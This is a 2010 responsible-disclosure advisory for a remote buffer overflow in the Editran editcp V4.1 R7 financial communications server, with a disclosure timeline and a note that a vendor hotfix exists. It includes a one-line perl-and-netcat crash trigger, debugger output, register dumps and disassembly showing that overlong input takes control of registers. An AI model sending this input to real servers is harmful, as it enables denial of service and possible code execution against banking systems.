===============================
- Advisory -
===============================
Tittle: Editran editcp V4.1 R7 - Remote buffer overflow
Risk: High
Date: 25.Jun.2010
Author: Pedro Andujar <pandujar *@* segfault.es>
.: [ INTRO ] :.
EDItran Communications Platform: this is the market standard for the Spanish financial sector in the area of communications.
It comprises an exchange architecture between heterogeneous environments for data networks (tcp, x.25, x.28, LU6.2, SwiftNet)
and the Internet. It is the only product homologated by BDE (Central Bank of Spain) for the transmission of Official Reporting.
This software which is commercialized by Indra, is highly deployed in the financial, inssurance and gubernamental environments.
.: [ TECHNICAL DESCRIPTION ] :.
Editran editcp V4.1 R7 is prone to a remote buffer overflow because the software fails to perform adequate boundary checks on
user-supplied data. This issue could allow a malicious user to perform denial of service attacks or run arbitrary code with the
application context privileges on an affected server.
This issue has been tested on Aix 5.3.9 ppc.
pandujar@ITSec01 /tmp$ perl -e '{print "A"x91}' | nc 192.168.1.164 7777
bash-3.2# tail -f editcp.out
*** Arranque *** - editran - Tue Jun 22 14:53:02 CDT 2010
editcp tcp V4.1 R7 - Jan 22 2007
Copyright (C) 1991-2004 INDRA
22/06/2010 14:53:02.627 editcp (372968) Licencia correcta (tcp).
22/06/2010 14:53:02.627 editcp (372968) LISTEN TCP address 192.168.1.164:7777.
22/06/2010 14:53:36.650 editcp (372968) Recibida señal (sig=11).
bash-3.2# /tmp/dbx -C core
reading symbolic information ...warning: no source compiled with -g
Segmentation fault in lsConnectionCached at 0x10008298
0x10008298 (lsConnectionCached+0x54) 7d69582e lwzx r11,r9,r11
(/tmp/dbx) where
lsConnectionCached(0x41ffffff) at 0x10008298
SOCKSclose(0x41ffffff) at 0x10006548
NetClose() at 0x100036d8
SigHaltHandler(??) at 0x10000958
SearchEvent(??) at 0x100037dc
WaitForIncomingEvent() at 0x10003418
WaitForEvent() at 0x10002e44
main(??, ??) at 0x1000078c
(/tmp/dbx) print $pc
0x10008298
(/tmp/dbx) registers
$r0:0x100036dc $stkp:0x2ff1e090 $toc:0x20082164 $r3:0x41ffffff
$r4:0x00000001 $r5:0x00000000 $r6:0x0000f0b2 $r7:0x00000001
$r8:0x00000001 $r9:0x20083f60 $r10:0x00000002 $r11:0x08282828
$r12:0x40445980 $r13:0x00000000 $r14:0x2ff1e200 $r15:0x000000a1
$r16:0x00000002 $r17:0x200820f8 $r18:0xdeadbeef $r19:0xdeadbeef
$r20:0x0000000b $r21:0x0000000b $r22:0x00012000 $r23:0x2ff47600
$r24:0x00012000 $r25:0x00000000 $r26:0x0101ea00 $r27:0x2370b400
$r28:0x00000000 $r29:0x2009c528 $r30:0x2008ab68 $r31:0x2ff1e090
$iar:0x10008298 $msr:0x0000d0b2 $cr:0x44222224 $link:0x1000654c
$ctr:0x00000000 $xer:0x00000000 $mq:0xdeadbeef
(/tmp/dbx) listi main
0x10000468 (main) 7c6802a6 mflr r3
0x1000046c (main+0x4) 93a1fff4 stw r29,-12(r1)
0x10000470 (main+0x8) 7c9d2378 mr r29,r4
0x10000474 (main+0xc) 93c1fff8 stw r30,-8(r1)
0x10000478 (main+0x10) 3bc00000 li r30,0x0
0x1000047c (main+0x14) 90610008 stw r3,0x8(r1)
0x10000480 (main+0x18) 93e1fffc stw r31,-4(r1)
0x10000484 (main+0x1c) 9421faa8 stwu r1,-1368(r1)
0x10000488 (main+0x20) 80640000 lwz r3,0x0(r4)
0x1000048c (main+0x24) 3880002f li r4,0x2f
If we increment the amount of "A"'s to 100, the whole r3 register is overwritten:
(/tmp/dbx) frame
lsConnectionCached(0x41414141) at 0x10008298
(/tmp/dbx) dump
lsConnectionCached(0x41414141) at 0x100082b4
(/tmp/dbx) listi
0x10008298 (lsConnectionCached+0x54) 7d69582e lwzx r11,r9,r11
0x1000829c (lsConnectionCached+0x58) 7d495838 and r9,r10,r11
0x100082a0 (lsConnectionCached+0x5c) 2c890000 cmpi cr1,0x0,r9,0x0
0x100082a4 (lsConnectionCached+0x60) 40860010 bne cr1,0x100082b4 (lsConnectionCached+0x70)
0x100082a8 (lsConnectionCached+0x64) 48000004 b 0x100082ac (lsConnectionCached+0x68)
0x100082ac (lsConnectionCached+0x68) 38600000 li r3,0x0
0x100082b0 (lsConnectionCached+0x6c) 48000098 b 0x10008348 (lsConnectionCached+0x104)
0x100082b4 (lsConnectionCached+0x70) 60000000 ori r0,r0,0x0
0x100082b8 (lsConnectionCached+0x74) 81220360 lwz r9,0x360(r2)
0x100082bc (lsConnectionCached+0x78) 81690000 lwz r11,0x0(r9)
(/tmp/dbx) listi lsConnectionCached
0x10008244 (lsConnectionCached) 93e1fffc stw r31,-4(r1)
0x10008248 (lsConnectionCached+0x4) 9421ffd8 stwu r1,-40(r1)
0x1000824c (lsConnectionCached+0x8) 7c3f0b78 mr r31,r1
0x10008250 (lsConnectionCached+0xc) 907f0040 stw r3,0x40(r31)
0x10008254 (lsConnectionCached+0x10) 8122033c lwz r9,0x33c(r2)
0x10008258 (lsConnectionCached+0x14) 81690000 lwz r11,0x0(r9)
0x1000825c (lsConnectionCached+0x18) 2c8b0000 cmpi cr1,0x0,r11,0x0
0x10008260 (lsConnectionCached+0x1c) 4186004c beq cr1,0x100082ac (lsConnectionCached+0x68)
0x10008264 (lsConnectionCached+0x20) 813f0040 lwz r9,0x40(r31)
0x10008268 (lsConnectionCached+0x24) 3960ffff li r11,-1
Debug of live process, where the old r3 value is stored on r31:
(/tmp/dbx) run
editcp tcp V4.1 R7 - Jan 22 2007
Copyright (C) 1991-2004 INDRA
25/06/2010 16:31:39.903 editcp (356528) Licencia correcta (tcp).
25/06/2010 16:31:39.903 editcp (356528) LISTEN TCP address 192.168.1.164:7777.
Segmentation fault in SearchEvent at 0x100037dc ($t1)
0x100037dc (SearchEvent+0x10) 7caa202e lwzx r5,r10,r4
(/tmp/dbx) x
$r0:0x00000001 $stkp:0x2ff1e5a0 $toc:0x20082164 $r3:0x00000001
$r4:0x200855f8 $r5:0x200a46c0 $r6:0x00000df0 $r7:0x00000000
$r8:0x00000000 $r9:0xf03a51b0 $r10:0x08282828 $r11:0x00000002
$r12:0x100017bc $r13:0xdeadbeef $r14:0x00000001 $r15:0x2ff22c90
$r16:0x2ff22c98 $r17:0x00000000 $r18:0xdeadbeef $r19:0xdeadbeef
$r20:0xdeadbeef $r21:0xdeadbeef $r22:0xdeadbeef $r23:0x200820ec
$r24:0x100033e0 $r25:0xdeadbeef $r26:0xdeadbeef $r27:0x00000001
$r28:0x00000000 $r29:0x2009c528 $r30:0x20089c18 $r31:0x41414141
$iar:0x100037dc $msr:0x0000d0b2 $cr:0x48222224 $link:0x1000341c
$ctr:0xd03c46fc $xer:0x00000004 $mq:0xdeadbeef
(/tmp/dbx) print $pc
0x100037dc
(/tmp/dbx) listi SearchEvent
0x100037cc (SearchEvent) 80820088 lwz r4,0x88(r2)
0x100037d0 (SearchEvent+0x4) 546ae8fa rlwinm r10,r3,0x1d,0x3,0x1d
0x100037d4 (SearchEvent+0x8) 39600002 li r11,0x2
0x100037d8 (SearchEvent+0xc) 546306fe rlwinm r3,r3,0x0,0x1b,0x1f
0x100037dc (SearchEvent+0x10) 7caa202e lwzx r5,r10,r4
0x100037e0 (SearchEvent+0x14) 7ca41e30 sraw r4,r5,r3
0x100037e4 (SearchEvent+0x18) 70890001 andi. r9,r4,0x1
0x100037e8 (SearchEvent+0x1c) 40820024 bne 0x1000380c (SearchEvent+0x40)
0x100037ec (SearchEvent+0x20) 8102008c lwz r8,0x8c(r2)
0x100037f0 (SearchEvent+0x24) 7cea402e lwzx r7,r10,r8
(/tmp/dbx) listi lsConnectionCached
0x10008244 (lsConnectionCached) 93e1fffc stw r31,-4(r1)
0x10008248 (lsConnectionCached+0x4) 9421ffd8 stwu r1,-40(r1)
0x1000824c (lsConnectionCached+0x8) 7c3f0b78 mr r31,r1
0x10008250 (lsConnectionCached+0xc) 907f0040 stw r3,0x40(r31)
0x10008254 (lsConnectionCached+0x10) 8122033c lwz r9,0x33c(r2)
0x10008258 (lsConnectionCached+0x14) 81690000 lwz r11,0x0(r9)
0x1000825c (lsConnectionCached+0x18) 2c8b0000 cmpi cr1,0x0,r11,0x0
0x10008260 (lsConnectionCached+0x1c) 4186004c beq cr1,0x100082ac (lsConnectionCached+0x68)
0x10008264 (lsConnectionCached+0x20) 813f0040 lwz r9,0x40(r31)
0x10008268 (lsConnectionCached+0x24) 3960ffff li r11,-1
.: [ CHANGELOG ] :.
* 22/Jun/2010: - Vulnerability discovered.
* 22/Jun/2010: - Vendor contacted.
* 23/Jun/2010: - Vendor response providing hotfix.
* 05/Jul/2010: - Public disclosure.
.: [ SOLUTIONS ] :.
Vendor hotfix is available.
.: [ ACKNOWLEDGEMENTS ] :.
Ricardo @Indra for the quick response and patch.
.: [ REFERENCES ] :.
[+] Editran
http://www.editran.info/
[+] Indra
http://www.indracompany.com/en/soluciones-y-servicios/solucion/digital-market/offering
[+] Indra/PPT
http://bit.ly/9JTeiL
[+] Banco de España
http://www.bde.es/webbde/es/secciones/servicio/redbde/redbde.html
[+] !dSR - Digital Security Research
http://www.digitalsec.net/
-=EOF=-
